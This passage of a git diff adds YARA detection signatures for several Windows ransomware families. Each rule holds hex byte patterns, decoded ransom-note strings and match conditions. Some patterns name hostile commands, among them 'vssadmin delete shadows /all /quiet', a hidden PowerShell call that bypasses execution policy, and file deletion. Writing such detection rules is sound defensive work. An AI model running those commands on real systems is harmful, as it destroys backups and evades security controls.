2e 74 78 74 } //1 encryption_log.txt + $a_01_2 = {21 00 21 00 21 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 20 00 43 00 4f 00 4d 00 50 00 52 00 4f 00 4d 00 49 00 53 00 45 00 44 00 20 00 21 00 21 00 21 00 } //1 !!! SYSTEM COMPROMISED !!! + $a_01_3 = {59 00 4f 00 55 00 52 00 20 00 46 00 49 00 4c 00 45 00 53 00 20 00 41 00 52 00 45 00 20 00 47 00 4f 00 4e 00 45 00 } //1 YOUR FILES ARE GONE + $a_01_4 = {21 00 21 00 21 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 20 00 4c 00 4f 00 43 00 4b 00 45 00 44 00 20 00 21 00 21 00 21 00 } //1 !!! SYSTEM LOCKED !!! + $a_01_5 = {59 00 4f 00 55 00 52 00 20 00 43 00 4f 00 4d 00 50 00 55 00 54 00 45 00 52 00 20 00 49 00 53 00 20 00 55 00 4e 00 44 00 45 00 52 00 20 00 43 00 4f 00 4e 00 54 00 52 00 4f 00 4c 00 } //1 YOUR COMPUTER IS UNDER CONTROL + $a_01_6 = {4c 00 6f 00 63 00 6b 00 53 00 63 00 72 00 65 00 65 00 6e 00 43 00 6c 00 61 00 73 00 73 00 } //1 LockScreenClass + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBD_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBD_MTB.yar new file mode 100644 index 0000000000..631a8d4fe5 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBD_MTB.yar @@ -0,0 +1,18 @@ + +rule Ransom_Win64_Filecoder_YBD_MTB{ + meta: + description = "Ransom:Win64/Filecoder.YBD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " + + strings : + $a_01_0 = {2e 00 72 00 61 00 6e 00 73 00 6f 00 6d 00 } //1 .ransom + $a_01_1 = {53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 50 00 6f 00 6c 00 69 00 63 00 69 00 65 00 73 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 } //1 Software\Policies\Microsoft\Windows NT\Security + $a_01_2 = {44 00 69 00 73 00 61 00 62 00 6c 00 65 00 46 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 } //1 DisableFirewall + $a_01_3 = {53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 50 00 6f 00 6c 00 69 00 63 00 69 00 65 00 73 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 65 00 73 00 74 00 6f 00 72 00 65 00 } //1 Software\Policies\Microsoft\Windows NT\SystemRestore + $a_01_4 = {44 00 69 00 73 00 61 00 62 00 6c 00 65 00 53 00 52 00 } //1 DisableSR + $a_01_5 = {54 00 6f 00 20 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 20 00 74 00 68 00 65 00 6d 00 } //1 To decrypt them + $a_01_6 = {59 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 } //1 Your files have been encrypted + $a_01_7 = {77 00 61 00 6c 00 6c 00 65 00 74 00 20 00 61 00 64 00 64 00 72 00 65 00 73 00 73 00 } //1 wallet address + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBE_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBE_MTB.yar new file mode 100644 index 0000000000..5a7334f3bd --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBE_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_Filecoder_YBE_MTB{ + meta: + description = "Ransom:Win64/Filecoder.YBE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {46 69 6c 65 73 20 48 61 76 65 20 42 65 65 6e 20 45 6e 63 72 79 70 74 65 64 } //1 Files Have Been Encrypted + $a_01_1 = {65 6e 63 72 79 70 74 65 64 20 62 79 20 6f 75 72 20 61 64 76 61 6e 63 65 64 20 61 74 74 61 63 6b } //1 encrypted by our advanced attack + $a_01_2 = {48 00 4f 00 57 00 2d 00 54 00 4f 00 2d 00 52 00 45 00 53 00 54 00 4f 00 52 00 45 00 2d 00 59 00 4f 00 55 00 52 00 2d 00 46 00 49 00 4c 00 45 00 53 00 2e 00 74 00 78 00 74 00 } //1 HOW-TO-RESTORE-YOUR-FILES.txt + $a_01_3 = {6c 00 6f 00 63 00 61 00 74 00 65 00 64 00 20 00 69 00 6e 00 20 00 65 00 76 00 65 00 72 00 79 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 } //1 located in every encrypted folder + $a_00_4 = {42 00 75 00 79 00 20 00 42 00 69 00 74 00 63 00 6f 00 69 00 6e 00 } //1 Buy Bitcoin + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBF_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBF_MTB.yar new file mode 100644 index 0000000000..20d335735b --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBF_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_Filecoder_YBF_MTB{ + meta: + description = "Ransom:Win64/Filecoder.YBF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_03_0 = {0f 57 c8 f3 0f 7f 48 ?? 66 0f 6f ca f3 0f 6f 40 ?? 0f 57 c2 f3 0f 7f 40 ?? f3 0f 6f } //1 + $a_01_1 = {80 30 3f 48 8d 40 01 ff c1 81 f9 2c 3c 00 00 72 } //1 + $a_00_2 = {47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 6c 00 6f 00 63 00 6b 00 76 00 37 00 } //1 Global\lockv7 + $a_00_3 = {6c 00 6f 00 63 00 6b 00 65 00 64 00 2e 00 68 00 74 00 6d 00 6c 00 } //1 locked.html + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win64/Fog/Ransom_Win64_Fog_AHB_MTB.yar b/Ransom/Win64/Fog/Ransom_Win64_Fog_AHB_MTB.yar new file mode 100644 index 0000000000..4f8e7cff44 --- /dev/null +++ b/Ransom/Win64/Fog/Ransom_Win64_Fog_AHB_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_Fog_AHB_MTB{ + meta: + description = "Ransom:Win64/Fog.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_03_0 = {65 48 8b 04 25 60 00 00 00 48 89 44 24 08 48 8b 44 24 08 0f b6 40 02 85 c0 74 ?? c7 04 24 01 00 00 00 eb ?? c7 04 24 } //2 + $a_80_1 = {5c 52 41 4e 53 4f 4d 4e 4f 54 45 2e 74 78 74 } //\RANSOMNOTE.txt 1 + $a_80_2 = {4f 42 53 49 44 49 41 4e 4d 49 52 52 4f 52 20 2d 20 50 53 59 4f 50 53 2f 50 53 59 57 41 52 } //OBSIDIANMIRROR - PSYOPS/PSYWAR 1 + condition: + ((#a_03_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win64/GlobalRan/Ransom_Win64_GlobalRan_A.yar b/Ransom/Win64/GlobalRan/Ransom_Win64_GlobalRan_A.yar new file mode 100644 index 0000000000..81661d8a8f --- /dev/null +++ b/Ransom/Win64/GlobalRan/Ransom_Win64_GlobalRan_A.yar @@ -0,0 +1,12 @@ + +rule Ransom_Win64_GlobalRan_A{ + meta: + description = "Ransom:Win64/GlobalRan.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {00 6d 61 69 6e 2e 70 72 6f 67 72 65 73 73 52 65 70 6f 72 74 65 72 00 6d 61 69 6e 2e 70 72 6f 67 72 65 73 73 52 65 70 6f 72 74 65 72 2e 64 65 66 65 72 77 72 61 70 31 00 6d 61 69 6e 2e 6c 6f 61 64 50 75 62 6c 69 63 4b 65 79 00 } //1 + $a_03_1 = {00 6d 61 69 6e 2e 64 72 6f 70 4e 6f 74 65 00 6d 61 69 6e 2e 65 6e 63 72 79 70 74 44 69 72 65 63 74 6f 72 79 ?? 6d 61 69 6e 2e 65 6e 63 72 79 70 74 44 69 72 65 63 74 6f 72 79 2e 66 75 6e 63 32 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Ransom/Win64/Gunra/Ransom_Win64_Gunra_A.yar b/Ransom/Win64/Gunra/Ransom_Win64_Gunra_A.yar new file mode 100644 index 0000000000..d4aa3ab40b --- /dev/null +++ b/Ransom/Win64/Gunra/Ransom_Win64_Gunra_A.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_Gunra_A{ + meta: + description = "Ransom:Win64/Gunra.A,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 00 " + + strings : + $a_01_0 = {2e 00 45 00 4e 00 43 00 52 00 54 00 00 00 } //5 + $a_01_1 = {73 00 74 00 6f 00 70 00 6d 00 61 00 72 00 6b 00 65 00 72 00 00 00 } //5 + $a_01_2 = {42 75 74 20 79 6f 75 20 68 61 76 65 20 6e 6f 74 20 73 6f 20 65 6e 6f 75 67 68 20 74 69 6d 65 } //1 But you have not so enough time + $a_01_3 = {59 4f 55 52 20 41 4c 4c 20 44 41 54 41 20 48 41 56 45 20 42 45 45 4e 20 45 4e 43 52 59 50 54 45 44 21 } //1 YOUR ALL DATA HAVE BEEN ENCRYPTED! + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Ransom/Win64/Gunra/Ransom_Win64_Gunra_PA_MTB.yar b/Ransom/Win64/Gunra/Ransom_Win64_Gunra_PA_MTB.yar new file mode 100644 index 0000000000..266ac7cae5 --- /dev/null +++ b/Ransom/Win64/Gunra/Ransom_Win64_Gunra_PA_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_Gunra_PA_MTB{ + meta: + description = "Ransom:Win64/Gunra.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {2e 00 45 00 4e 00 43 00 52 00 54 00 } //1 .ENCRT + $a_01_1 = {21 21 21 44 41 4e 47 45 52 20 21 21 21 } //1 !!!DANGER !!! + $a_01_2 = {59 4f 55 52 20 41 4c 4c 20 44 41 54 41 20 48 41 56 45 20 42 45 45 4e 20 45 4e 43 52 59 50 54 45 44 21 } //2 YOUR ALL DATA HAVE BEEN ENCRYPTED! + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win64/Gunra/Ransom_Win64_Gunra_SACR_MTB.yar b/Ransom/Win64/Gunra/Ransom_Win64_Gunra_SACR_MTB.yar new file mode 100644 index 0000000000..ff65a8c6f5 --- /dev/null +++ b/Ransom/Win64/Gunra/Ransom_Win64_Gunra_SACR_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_Gunra_SACR_MTB{ + meta: + description = "Ransom:Win64/Gunra.SACR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_81_0 = {21 21 21 44 41 4e 47 45 52 20 21 21 21 } //2 !!!DANGER !!! + $a_81_1 = {44 4f 20 4e 4f 54 20 4d 4f 44 49 46 59 20 6f 72 20 74 72 79 20 74 6f 20 52 45 43 4f 56 45 52 20 61 6e 79 20 66 69 6c 65 73 20 79 6f 75 72 73 65 6c 66 2e 57 65 20 57 49 4c 4c 20 4e 4f 54 20 62 65 20 61 62 6c 65 20 74 6f 20 52 45 53 54 4f 52 45 20 74 68 65 6d 2e } //1 DO NOT MODIFY or try to RECOVER any files yourself.We WILL NOT be able to RESTORE them. + $a_81_2 = {59 4f 55 52 20 41 4c 4c 20 44 41 54 41 20 48 41 56 45 20 42 45 45 4e 20 45 4e 43 52 59 50 54 45 44 21 } //1 YOUR ALL DATA HAVE BEEN ENCRYPTED! + $a_81_3 = {59 6f 75 20 63 61 6e 20 64 65 63 72 79 70 74 20 73 6f 6d 65 20 6f 66 20 79 6f 75 72 20 66 69 6c 65 73 20 66 6f 72 20 66 72 65 65 20 77 68 65 6e 20 79 6f 75 20 63 6f 6e 74 61 63 74 20 75 73 } //1 You can decrypt some of your files for free when you contact us + $a_81_4 = {52 33 41 44 4d 33 2e 74 78 74 } //1 R3ADM3.txt + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Hive/Ransom_Win64_Hive_AHVI_MTB.yar b/Ransom/Win64/Hive/Ransom_Win64_Hive_AHVI_MTB.yar new file mode 100644 index 0000000000..878824ab87 --- /dev/null +++ b/Ransom/Win64/Hive/Ransom_Win64_Hive_AHVI_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win64_Hive_AHVI_MTB{ + meta: + description = "Ransom:Win64/Hive.AHVI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {49 89 d0 4d 29 d0 4d 89 c1 49 f7 d8 49 c1 f8 3f 4d 21 d0 4c 8b 5c 24 48 4b 8d 3c 03 4c 8b 64 24 38 66 ?? 49 39 cc 72 74 48 89 44 24 30 4d 29 d4 49 8d 51 e0 49 89 d2 48 f7 da 48 c1 fa 3f 48 21 d1 4a 8d 04 19 49 8d 5c 24 e0 4c 89 d1 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Ransom/Win64/Inc/Ransom_Win64_Inc_BAA_MTB.yar b/Ransom/Win64/Inc/Ransom_Win64_Inc_BAA_MTB.yar new file mode 100644 index 0000000000..58d4345670 --- /dev/null +++ b/Ransom/Win64/Inc/Ransom_Win64_Inc_BAA_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win64_Inc_BAA_MTB{ + meta: + description = "Ransom:Win64/Inc.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_81_0 = {5b 49 4e 43 2d 52 45 41 44 4d 45 2e 74 78 74 2e 2e 77 69 6e 64 6f 77 73 70 72 6f 67 72 61 6d 20 66 69 6c 65 73 61 70 70 64 61 74 61 } //1 [INC-README.txt..windowsprogram filesappdata + $a_81_1 = {24 72 65 63 79 63 6c 65 2e 62 69 6e 70 72 6f 67 72 61 6d 64 61 74 61 61 6c 6c 20 75 73 65 72 73 73 6f 70 68 6f 73 49 4e 43 2e 6c 6f 67 2e 64 6c 6c 2e 65 78 65 } //1 $recycle.binprogramdataall userssophosINC.log.dll.exe + $a_81_2 = {77 68 69 6c 65 20 64 65 6c 65 74 69 6e 67 20 73 68 61 64 6f 77 20 63 6f 70 69 65 73 20 66 72 6f 6d } //1 while deleting shadow copies from + $a_81_3 = {53 75 63 63 65 73 73 66 75 6c 6c 79 20 64 65 6c 65 74 65 64 20 73 68 61 64 6f 77 20 63 6f 70 69 65 73 20 66 72 6f 6d 20 40 64 } //1 Successfully deleted shadow copies from @d + $a_81_4 = {53 75 63 63 65 73 73 66 75 6c 6c 79 20 6b 69 6c 6c 65 64 20 70 72 6f 63 65 73 73 65 73 20 62 79 20 6d 61 73 6b } //1 Successfully killed processes by mask + $a_81_5 = {77 68 69 6c 65 20 65 6e 63 72 79 70 74 69 6e 67 20 66 69 6c 65 } //1 while encrypting file + $a_81_6 = {45 6e 63 72 79 70 74 69 6f 6e 41 6c 67 6f 53 41 4c 53 41 32 30 41 45 53 45 6e 63 72 79 70 74 69 6f 6e 48 65 61 64 65 72 } //1 EncryptionAlgoSALSA20AESEncryptionHeader + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win64/IncRansom/Ransom_Win64_IncRansom_YAC_MTB.yar b/Ransom/Win64/IncRansom/Ransom_Win64_IncRansom_YAC_MTB.yar new file mode 100644 index 0000000000..7a3e4d5ab5 --- /dev/null +++ b/Ransom/Win64/IncRansom/Ransom_Win64_IncRansom_YAC_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_IncRansom_YAC_MTB{ + meta: + description = "Ransom:Win64/IncRansom.YAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 04 00 00 " + + strings : + $a_01_0 = {65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 6d 69 6c 69 74 61 72 79 2d 67 72 61 64 65 } //10 encrypted with military-grade + $a_01_1 = {43 4f 4d 50 55 54 45 52 20 48 41 53 20 42 45 45 4e 20 53 45 49 5a 45 44 } //5 COMPUTER HAS BEEN SEIZED + $a_01_2 = {70 61 79 20 6d 65 20 62 72 6f } //5 pay me bro + $a_03_3 = {15 f9 00 00 c7 85 ?? ?? ?? ?? 9c 80 00 00 c7 85 ?? ?? ?? ?? 06 a9 00 00 c7 85 ?? ?? ?? ?? 79 60 01 00 c7 85 ?? ?? ?? ?? f7 cd 00 00 c7 85 } //1 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*5+(#a_01_2 & 1)*5+(#a_03_3 & 1)*1) >=21 + +} \ No newline at end of file diff --git a/Ransom/Win64/KaWaLocker/Ransom_Win64_KaWaLocker_A.yar b/Ransom/Win64/KaWaLocker/Ransom_Win64_KaWaLocker_A.yar new file mode 100644 index 0000000000..089acb6669 --- /dev/null +++ b/Ransom/Win64/KaWaLocker/Ransom_Win64_KaWaLocker_A.yar @@ -0,0 +1,12 @@ + +rule Ransom_Win64_KaWaLocker_A{ + meta: + description = "Ransom:Win64/KaWaLocker.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {6b 00 69 00 6c 00 6c 00 5f 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 00 00 00 00 00 00 00 00 76 00 61 00 6c 00 75 00 65 00 00 00 00 00 00 00 6b 00 69 00 6c 00 6c 00 5f 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 } //1 + $a_01_1 = {4b 61 57 61 4c 6f 63 6b 65 72 } //1 KaWaLocker + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Ransom/Win64/KaWaLocker/Ransom_Win64_KaWaLocker_B.yar b/Ransom/Win64/KaWaLocker/Ransom_Win64_KaWaLocker_B.yar new file mode 100644 index 0000000000..b9e097a064 --- /dev/null +++ b/Ransom/Win64/KaWaLocker/Ransom_Win64_KaWaLocker_B.yar @@ -0,0 +1,21 @@ + +rule Ransom_Win64_KaWaLocker_B{ + meta: + description = "Ransom:Win64/KaWaLocker.B,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0b 00 00 " + + strings : + $a_01_0 = {73 00 6b 00 69 00 70 00 5f 00 65 00 78 00 74 00 73 00 00 00 } //1 + $a_01_1 = {73 00 6b 00 69 00 70 00 5f 00 66 00 69 00 6c 00 65 00 73 00 00 00 } //1 + $a_01_2 = {73 00 6b 00 69 00 70 00 5f 00 64 00 69 00 72 00 73 00 00 00 } //1 + $a_01_3 = {73 00 70 00 65 00 63 00 69 00 66 00 79 00 5f 00 64 00 69 00 72 00 73 00 00 00 } //1 + $a_01_4 = {6b 00 69 00 6c 00 6c 00 5f 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 00 00 } //1 + $a_01_5 = {6b 00 69 00 6c 00 6c 00 5f 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00 } //1 + $a_01_6 = {73 00 65 00 6c 00 66 00 5f 00 64 00 65 00 6c 00 65 00 74 00 65 00 00 00 } //1 + $a_01_7 = {74 00 68 00 72 00 65 00 61 00 64 00 5f 00 6e 00 75 00 6d 00 00 00 } //1 + $a_01_8 = {63 00 6d 00 64 00 5f 00 70 00 6f 00 73 00 74 00 00 00 } //1 + $a_01_9 = {2d 64 3d 64 69 72 65 63 74 6f 72 79 0a 00 } //1 + $a_01_10 = {2d 64 75 6d 70 20 5b 6f 70 74 69 6f 6e 61 6c 5d 0a 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Ransom/Win64/KaWaLocker/Ransom_Win64_KaWaLocker_C.yar b/Ransom/Win64/KaWaLocker/Ransom_Win64_KaWaLocker_C.yar new file mode 100644 index 0000000000..429f4bf4f3 --- /dev/null +++ b/Ransom/Win64/KaWaLocker/Ransom_Win64_KaWaLocker_C.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_KaWaLocker_C{ + meta: + description = "Ransom:Win64/KaWaLocker.C,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {53 41 59 5f 48 49 5f 32 30 32 35 00 } //1 䅓彙䥈㉟㈰5 + $a_01_1 = {61 6e 6f 74 68 65 72 20 69 6e 73 74 61 6e 63 65 20 61 6c 72 65 61 64 79 20 72 75 6e 6e 69 6e 67 2e 0a 00 } //1 + $a_01_2 = {45 6e 61 62 6c 65 20 64 65 62 75 67 20 70 72 69 76 69 6c 65 67 65 20 66 61 69 6c 65 64 2e 0a 00 } //1 + $a_01_3 = {69 6e 69 74 20 66 61 69 6c 65 64 2e 0a 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/Win64/LockCrypt/Ransom_Win64_LockCrypt_PA_MTB.yar b/Ransom/Win64/LockCrypt/Ransom_Win64_LockCrypt_PA_MTB.yar new file mode 100644 index 0000000000..23eedc3c38 --- /dev/null +++ b/Ransom/Win64/LockCrypt/Ransom_Win64_LockCrypt_PA_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_LockCrypt_PA_MTB{ + meta: + description = "Ransom:Win64/LockCrypt.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {52 45 41 44 5f 54 4f 5f 44 45 43 52 59 50 54 2e 74 78 74 } //1 READ_TO_DECRYPT.txt + $a_01_1 = {2f 75 70 6c 6f 61 64 5f 73 74 6f 6c 65 6e 2e 70 68 70 } //1 /upload_stolen.php + $a_01_2 = {59 4f 55 52 20 46 49 4c 45 53 20 48 41 56 45 20 42 45 45 4e 20 45 4e 43 52 59 50 54 45 44 21 } //2 YOUR FILES HAVE BEEN ENCRYPTED! + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win64/LockFile/Ransom_Win64_LockFile_MKV_MTB.yar b/Ransom/Win64/LockFile/Ransom_Win64_LockFile_MKV_MTB.yar new file mode 100644 index 0000000000..5f98260ac5 --- /dev/null +++ b/Ransom/Win64/LockFile/Ransom_Win64_LockFile_MKV_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_LockFile_MKV_MTB{ + meta: + description = "Ransom:Win64/LockFile.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_03_0 = {48 8b 0b 33 d2 49 8b c0 48 f7 73 10 0f b6 0c 0a 48 8d 45 e7 48 83 7d ?? 0f 48 0f 47 45 e7 42 30 0c 00 49 ff c0 4c 3b 45 f7 72 } //5 + $a_81_1 = {59 4f 55 52 20 53 59 53 54 45 4d 20 49 53 20 4c 4f 43 4b 45 44 21 } //1 YOUR SYSTEM IS LOCKED! + $a_81_2 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //1 vssadmin delete shadows /all /quiet + $a_81_3 = {44 45 43 52 59 50 54 5f 4f 52 5f 4c 4f 53 45 5f 45 56 45 52 59 54 48 49 4e 47 } //1 DECRYPT_OR_LOSE_EVERYTHING + condition: + ((#a_03_0 & 1)*5+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Ransom/Win64/LockZ/Ransom_Win64_LockZ_YAF_MTB.yar b/Ransom/Win64/LockZ/Ransom_Win64_LockZ_YAF_MTB.yar new file mode 100644 index 0000000000..9ad2ac13c1 --- /dev/null +++ b/Ransom/Win64/LockZ/Ransom_Win64_LockZ_YAF_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win64_LockZ_YAF_MTB{ + meta: + description = "Ransom:Win64/LockZ.YAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {67 65 74 20 79 6f 75 72 20 66 69 6c 65 73 20 62 61 63 6b } //1 get your files back + $a_01_1 = {75 6e 6c 6f 63 6b 20 66 69 6c 65 73 20 79 6f 75 72 73 65 6c 66 } //1 unlock files yourself + $a_01_2 = {70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 48 69 64 64 65 6e 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 73 } //1 powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass + $a_01_3 = {69 6e 66 65 63 74 65 64 20 62 79 20 2a 2a 4c 6f 63 6b 5a 2a 2a } //1 infected by **LockZ** + $a_01_4 = {64 65 6c 20 2f 71 20 2f 66 } //1 del /q /f + $a_01_5 = {64 69 72 45 6e 63 72 79 70 74 69 6f 6e 2e 70 73 31 } //1 dirEncryption.ps1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Lockbit/Ransom_Win64_LockBit_AQUA_MTB.yar b/Ransom/Win64/Lockbit/Ransom_Win64_LockBit_AQUA_MTB.yar new file mode 100644 index 0000000000..cbb5918554 --- /dev/null +++ b/Ransom/Win64/Lockbit/Ransom_Win64_LockBit_AQUA_MTB.yar @@ -0,0 +1,19 @@ + +rule Ransom_Win64_LockBit_AQUA_MTB{ + meta: + description = "Ransom:Win64/LockBit.AQUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 09 00 00 " + + strings : + $a_81_0 = {2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d } //1 -----BEGIN RSA PUBLIC KEY----- + $a_81_1 = {2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d } //1 -----END RSA PUBLIC KEY----- + $a_81_2 = {5c 77 6f 72 6b 5c 74 6f 6f 6c 73 5c 61 69 5c 61 6b 34 37 5c 63 70 70 5c 65 6e 63 72 79 70 74 5c 65 6e 63 72 79 70 74 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 65 6e 63 72 79 70 74 2e 70 64 62 } //3 \work\tools\ai\ak47\cpp\encrypt\encrypt\x64\Release\encrypt.pdb + $a_81_3 = {47 65 74 4c 6f 67 69 63 61 6c 44 72 69 76 65 73 } //1 GetLogicalDrives + $a_81_4 = {48 6f 77 20 74 6f 20 64 65 63 72 79 70 74 20 6d 79 20 64 61 74 61 2e 74 78 74 } //1 How to decrypt my data.txt + $a_81_5 = 